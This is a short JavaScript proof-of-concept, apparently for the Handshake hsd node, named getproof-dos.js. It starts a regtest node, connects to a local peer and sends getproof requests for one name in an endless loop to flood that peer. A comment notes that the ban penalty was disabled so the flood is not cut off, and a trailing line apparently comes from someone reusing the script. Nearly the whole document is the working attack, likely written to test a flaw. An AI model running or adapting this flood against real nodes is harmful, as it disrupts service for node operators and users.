getproof-dos.js

'use strict';

const FullNode = require('./lib/node/fullnode');
const NetAddress = require('./lib/net/netaddress.js');
const Network = require('./lib/protocol/network.js');
const random = require('bcrypto/lib/random');
const Logger = require('blgr');
const bs32 = require('bs32');
const rules = require('./lib/covenants/rules');

const key = bs32.decode('aorsxa4ylaacshipyjkfbvzfkh3jhh4yowtoqdt64nzemqtiw2whk');

async function sleep(time) {
  return new Promise(resolve => setTimeout(resolve, time));
}

(async () => {
  const node = new FullNode({
    'logger': new Logger({
      console: true,
      level: 'debug'
    }),
    'network': 'regtest',
    'http-port': 15037,
    'ns-port': 26349,
    'rs-port': 26330,
    'port': 15038
  });

  await node.open();

  const peer = await node.pool.createOutbound(new NetAddress({
    'host': '127.0.0.1',
    'port': 14038,
    'key': key
  }));

  await sleep(2000);

  const root = await node.chain.getSafeRoot();
  const hash = rules.hashString('google');

  // peer.nameMap.set(hash, Date.now());
  // TODO: this should prevent remote from getting banned but throws instead...
  // just comment out peer.increaseBan() handleProof for now.
  
  for (let i=0; ;i++) {
    console.log('%d: sending getproof', i);
    peer.sendGetProof(root, hash);
  }
})();

awesome, I'm stealing this 👍